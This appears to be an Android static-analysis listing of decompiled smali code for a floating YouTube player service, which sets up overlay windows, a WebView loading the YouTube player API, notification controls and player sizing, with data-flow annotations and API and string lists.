183invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getApplicationContext()Landroid/content/Context;
184move-result-object v3
186const-string v5, "com.pedqaesf.app.ytube.action.prev"
188invoke-virtual {v1, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.prev
189move-result-object v1
191invoke-static {v3, v7, v1, v7}, Landroid/app/PendingIntent;->getService(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
192move-result-object v1
194invoke-virtual {v0, v2, v1}, Landroid/widget/RemoteViews;->setOnClickPendingIntent(ILandroid/app/PendingIntent;)V
  • Data flow analysis:
    • viewId: 2131689682
195const/16 v0, 0x65
197sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
199invoke-virtual {p0, v0, v1}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->startForeground(ILandroid/app/Notification;)V
  • Data flow analysis:
    • id: 101
201const-string v0, "window"
203invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: window
204move-result-object v0
205check-cast v0, Landroid/view/WindowManager;
206sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
208invoke-direct {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h()V
210const-string v0, "layout_inflater"
212invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: layout_inflater
213move-result-object v0
214move-object v6, v0
215check-cast v6, Landroid/view/LayoutInflater;
216const v0, 0x7f040064
218invoke-virtual {v6, v0, v4, v7}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • p0: 2130968676
    • p1: 0
    • p2: 0
219move-result-object v0
220check-cast v0, Landroid/widget/LinearLayout;
221sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
223sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
224const v1, 0x7f0f00f3
226invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689715
227move-result-object v0
228check-cast v0, Landroid/widget/ImageView;
229sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->J:Landroid/widget/ImageView;
231sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->J:Landroid/widget/ImageView;
233invoke-virtual {v0, v9}, Landroid/widget/ImageView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
235iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->r:Landroid/view/WindowManager$LayoutParams;
236iput v10, v0, Landroid/view/WindowManager$LayoutParams;->gravity:I
238iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->r:Landroid/view/WindowManager$LayoutParams;
239iput v7, v0, Landroid/view/WindowManager$LayoutParams;->x:I
241iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->r:Landroid/view/WindowManager$LayoutParams;
242iput v7, v0, Landroid/view/WindowManager$LayoutParams;->y:I
244sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
246sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
248iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->r:Landroid/view/WindowManager$LayoutParams;
250invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
251const v0, 0x7f04005d
253invoke-virtual {v6, v0, v4, v7}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • p0: 2130968669
    • p1: 0
    • p2: 0
254move-result-object v0
255check-cast v0, Landroid/widget/LinearLayout;
256sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
258sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
259const v1, 0x7f0f00e9
261invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689705
262move-result-object v0
263check-cast v0, Landroid/widget/RelativeLayout;
264iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
266sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
267const v1, 0x7f0f00ec
269invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689708
270move-result-object v0
271check-cast v0, Landroid/widget/RelativeLayout;
272iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
274sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
275const v1, 0x7f0f00ee
277invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689710
278move-result-object v0
279check-cast v0, Landroid/widget/FrameLayout;
280iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->l:Landroid/widget/FrameLayout;
282sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
283const v1, 0x7f0f00eb
285invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689707
286move-result-object v0
287check-cast v0, Landroid/widget/LinearLayout;
288sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->k:Landroid/widget/LinearLayout;
289new-instance v0, Lcom/pedqaesf/app/player/c;
291invoke-direct {v0, p0}, Lcom/pedqaesf/app/player/c;-><init>(Landroid/content/Context;)V
292sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
294sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
296invoke-virtual {v0}, Lcom/pedqaesf/app/player/c;->a()V
298iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
300sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
302invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
303move-result-object v1
305iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->u:Landroid/view/WindowManager$LayoutParams;
307invoke-virtual {v0, v1, v2}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
309iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
311invoke-virtual {v0}, Landroid/widget/RelativeLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
312move-result-object v0
313iget v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
314iput v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->P:I
315iget v0, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
316iput v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Q:I
317new-instance v0, Ljava/util/HashMap;
319invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
321const-string v1, "Referer"
323const-string v2, "http://www.youtube.com"
325invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: Referer
    • p1: http://www.youtube.com
326sget v0, Lcom/pedqaesf/app/b;->b:I
327if-ne v0, v8, :cond_313
329const-string v0, "Starting "
331const-string v1, "Playlist!!!"
333invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Starting
    • msg: Playlist!!!
335sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->A:Ljava/lang/String;
337invoke-static {v0}, Lcom/pedqaesf/app/a;->b(Ljava/lang/String;)V
339sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
341const-string v1, "https://www.youtube.com/player_api"
343invoke-static {}, Lcom/pedqaesf/app/a;->b()Ljava/lang/String;
344move-result-object v2
346const-string v3, "text/html"
347move-object v5, v4
349invoke-virtual/range {v0 .. v5}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
350goto_1f4:
351iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
352iput v10, v0, Landroid/view/WindowManager$LayoutParams;->gravity:I
354iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
355iput v7, v0, Landroid/view/WindowManager$LayoutParams;->x:I
357iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
358iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->T:I
359iput v1, v0, Landroid/view/WindowManager$LayoutParams;->y:I
361sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
363sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
365iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
367invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
369sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
371invoke-virtual {v0}, Landroid/widget/LinearLayout;->getViewTreeObserver()Landroid/view/ViewTreeObserver;
372move-result-object v0
373new-instance v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;
375invoke-direct {v1, p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;-><init>(Lcom/pedqaesf/app/player/INSYouTubePlayerService;)V
377invoke-virtual {v0, v1}, Landroid/view/ViewTreeObserver;->addOnGlobalLayoutListener(Landroid/view/ViewTreeObserver$OnGlobalLayoutListener;)V
379sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
381invoke-virtual {v0}, Landroid/widget/LinearLayout;->getViewTreeObserver()Landroid/view/ViewTreeObserver;
382move-result-object v0
383new-instance v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;
385invoke-direct {v1, p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;-><init>(Lcom/pedqaesf/app/player/INSYouTubePlayerService;)V
387invoke-virtual {v0, v1}, Landroid/view/ViewTreeObserver;->addOnGlobalLayoutListener(Landroid/view/ViewTreeObserver$OnGlobalLayoutListener;)V
389sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
390const v1, 0x7f0f00a1
392invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689633
393move-result-object v0
394check-cast v0, Landroid/widget/ImageView;
395iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ad:Landroid/widget/ImageView;
397sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
398const v1, 0x7f0f00a2
400invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689634
401move-result-object v0
402check-cast v0, Landroid/widget/ImageView;
403iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ae:Landroid/widget/ImageView;
405sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
406const v1, 0x7f0f00a3
408invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689635
409move-result-object v0
410check-cast v0, Landroid/widget/ImageView;
411iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->af:Landroid/widget/ImageView;
413sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
414const v1, 0x7f0f00a4
416invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689636
417move-result-object v0
418check-cast v0, Landroid/widget/ImageView;
419iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ag:Landroid/widget/ImageView;
421sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
422const v1, 0x7f0f00ed
424invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689709
425move-result-object v0
426check-cast v0, Landroid/widget/ImageView;
427iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ah:Landroid/widget/ImageView;
429invoke-direct {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g()V
431iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ad:Landroid/widget/ImageView;
433invoke-virtual {v0, p0}, Landroid/widget/ImageView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
435iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ae:Landroid/widget/ImageView;
437invoke-virtual {v0, p0}, Landroid/widget/ImageView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
439iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->af:Landroid/widget/ImageView;
441invoke-virtual {v0, p0}, Landroid/widget/ImageView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
443iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ag:Landroid/widget/ImageView;
445invoke-virtual {v0, p0}, Landroid/widget/ImageView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
446const v0, 0x7f040063
448invoke-virtual {v6, v0, v4, v7}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • p0: 2130968675
    • p1: 0
    • p2: 0
449move-result-object v0
450check-cast v0, Landroid/widget/LinearLayout;
451sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->i:Landroid/widget/LinearLayout;
453iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->t:Landroid/view/WindowManager$LayoutParams;
454const/16 v1, 0x51
455iput v1, v0, Landroid/view/WindowManager$LayoutParams;->gravity:I
457sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->i:Landroid/widget/LinearLayout;
459invoke-virtual {v0, v9}, Landroid/widget/LinearLayout;->setVisibility(I)V
  • Data flow analysis:
    • p0: 8
461sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
463sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->i:Landroid/widget/LinearLayout;
465iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->t:Landroid/view/WindowManager$LayoutParams;
467invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
468const v0, 0x7f040062
470invoke-virtual {v6, v0, v4, v7}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • p0: 2130968674
    • p1: 0
    • p2: 0
471move-result-object v0
472check-cast v0, Landroid/widget/LinearLayout;
473sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
475iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->s:Landroid/view/WindowManager$LayoutParams;
476const/16 v1, 0x51
477iput v1, v0, Landroid/view/WindowManager$LayoutParams;->gravity:I
479sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
481invoke-virtual {v0, v9}, Landroid/widget/LinearLayout;->setVisibility(I)V
  • Data flow analysis:
    • p0: 8
483sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
485sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
487iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->s:Landroid/view/WindowManager$LayoutParams;
489invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
491sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
492const v1, 0x7f0f00f1
494invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689713
495move-result-object v0
496check-cast v0, Landroid/widget/RelativeLayout;
497iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->w:Landroid/widget/RelativeLayout;
499iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->w:Landroid/widget/RelativeLayout;
501invoke-virtual {v0}, Landroid/widget/RelativeLayout;->getViewTreeObserver()Landroid/view/ViewTreeObserver;
502move-result-object v0
503new-instance v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService$3;
505invoke-direct {v1, p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService$3;-><init>(Lcom/pedqaesf/app/player/INSYouTubePlayerService;)V
507invoke-virtual {v0, v1}, Landroid/view/ViewTreeObserver;->addOnGlobalLayoutListener(Landroid/view/ViewTreeObserver$OnGlobalLayoutListener;)V
509sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
510const v1, 0x7f0f00f2
512invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689714
513move-result-object v0
514check-cast v0, Lcom/pedqaesf/app/views/INSCircularImageView;
516sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->J:Landroid/widget/ImageView;
518invoke-virtual {v0, p0}, Landroid/widget/ImageView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
520const-string v0, "window"
522invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: window
523move-result-object v0
524check-cast v0, Landroid/view/WindowManager;
526invoke-interface {v0}, Landroid/view/WindowManager;->getDefaultDisplay()Landroid/view/Display;
527move-result-object v0
528new-instance v1, Landroid/graphics/Point;
530invoke-direct {v1}, Landroid/graphics/Point;-><init>()V
532invoke-virtual {v0, v1}, Landroid/view/Display;->getSize(Landroid/graphics/Point;)V
533iget v0, v1, Landroid/graphics/Point;->x:I
534iput v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->K:I
535iget v0, v1, Landroid/graphics/Point;->y:I
536iput v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->L:I
537new-array v0, v8, [Z
538aput-boolean v8, v0, v7
540iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ah:Landroid/widget/ImageView;
541new-instance v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;
543invoke-direct {v1, p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;-><init>(Lcom/pedqaesf/app/player/INSYouTubePlayerService;)V
545invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setOnTouchListener(Landroid/view/View$OnTouchListener;)V
546return-void
547cond_313:
548sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->z:Ljava/lang/String;
550invoke-static {v0}, Lcom/pedqaesf/app/a;->a(Ljava/lang/String;)V
552const-string v0, "Starting "
554const-string v1, "Single Video!!!"
556invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Starting
    • msg: Single Video!!!
558sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
560const-string v1, "https://www.youtube.com/player_api"
562invoke-static {}, Lcom/pedqaesf/app/a;->a()Ljava/lang/String;
563move-result-object v2
565const-string v3, "text/html"
566move-object v5, v4
568invoke-virtual/range {v0 .. v5}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
569goto/16 :goto_1f4
APIs
  • android.widget.LinearLayout.getViewTreeObserver
  • android.view.ViewTreeObserver.removeGlobalOnLayoutListener
  • android.widget.LinearLayout.getMeasuredWidth
  • android.widget.LinearLayout.getMeasuredHeight
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
  • com.pedqaesf.app.player.INSYouTubePlayerService.b
  • android.preference.PreferenceManager.getDefaultSharedPreferences
  • android.content.SharedPreferences.getBoolean
  • android.view.WindowManager.updateViewLayout
  • android.widget.LinearLayout.getLayoutParams
  • android.widget.RelativeLayout.getLayoutParams
  • android.widget.RelativeLayout.setLayoutParams
  • android.widget.LinearLayout.setLayoutParams
  • android.widget.FrameLayout.getLayoutParams
  • android.widget.FrameLayout.setLayoutParams
  • android.widget.RelativeLayout.getLayoutParams
  • android.widget.RelativeLayout.setLayoutParams
  • android.webkit.WebView.getLayoutParams
  • android.widget.RelativeLayout.updateViewLayout
  • com.pedqaesf.app.player.INSYouTubePlayerService.getResources
  • android.content.res.Resources.getDrawable
  • android.widget.ImageView.setImageDrawable
  • android.view.WindowManager.updateViewLayout
  • android.widget.RelativeLayout.getLayoutParams
  • android.widget.RelativeLayout.setLayoutParams
  • android.widget.LinearLayout.getLayoutParams
  • android.widget.LinearLayout.setLayoutParams
  • android.widget.FrameLayout.getLayoutParams
  • android.widget.FrameLayout.setLayoutParams
  • android.widget.RelativeLayout.getLayoutParams
  • android.widget.RelativeLayout.setLayoutParams
  • android.webkit.WebView.getLayoutParams
  • android.widget.RelativeLayout.updateViewLayout
  • com.pedqaesf.app.player.INSYouTubePlayerService.getResources
  • android.content.res.Resources.getDrawable
  • android.widget.ImageView.setImageDrawable
Strings
  • Player W and H
  • isEntire
Position Instruction Meta Information
0.prologue
1const/4 v3, -0x1
3sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
5invoke-virtual {v0}, Landroid/widget/LinearLayout;->getViewTreeObserver()Landroid/view/ViewTreeObserver;
6move-result-object v0
8invoke-virtual {v0, p0}, Landroid/view/ViewTreeObserver;->removeGlobalOnLayoutListener(Landroid/view/ViewTreeObserver$OnGlobalLayoutListener;)V
10iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
12sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
14invoke-virtual {v1}, Landroid/widget/LinearLayout;->getMeasuredWidth()I
15move-result v1
16iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->R:I
18iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
20iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
21iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->R:I
22iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
24iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
26sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
28invoke-virtual {v1}, Landroid/widget/LinearLayout;->getMeasuredHeight()I
29move-result v1
30iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->S:I
32iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
34iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
35iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->S:I
36iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
38const-string v0, "Player W and H "
39new-instance v1, Ljava/lang/StringBuilder;
41invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
43iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
44iget v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->R:I
46invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
47move-result-object v1
49const-string v2, " "
51invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
52move-result-object v1
54iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
55iget v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->S:I
57invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
58move-result-object v1
60invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61move-result-object v1
63invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Player W and H
65invoke-static {}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->b()Landroid/content/Context;
66move-result-object v0
68invoke-static {v0}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences;
69move-result-object v0
71const-string v1, "isEntire"
72const/4 v2, 0x0
74invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: isEntire
    • p1: 0
75move-result v0
76if-eqz v0, :cond_110
78iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
79const/16 v1, 0x2ee
80iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
82iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
84iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
85iput v3, v0, Landroid/view/WindowManager$LayoutParams;->width:I
87iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
89iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
91iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
92iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
93iput v1, v0, Landroid/view/WindowManager$LayoutParams;->height:I
95sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
97sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
99iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
101iget-object v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
103invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
105sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->k:Landroid/widget/LinearLayout;
107invoke-virtual {v0}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
108move-result-object v0
109iput v3, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
111iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
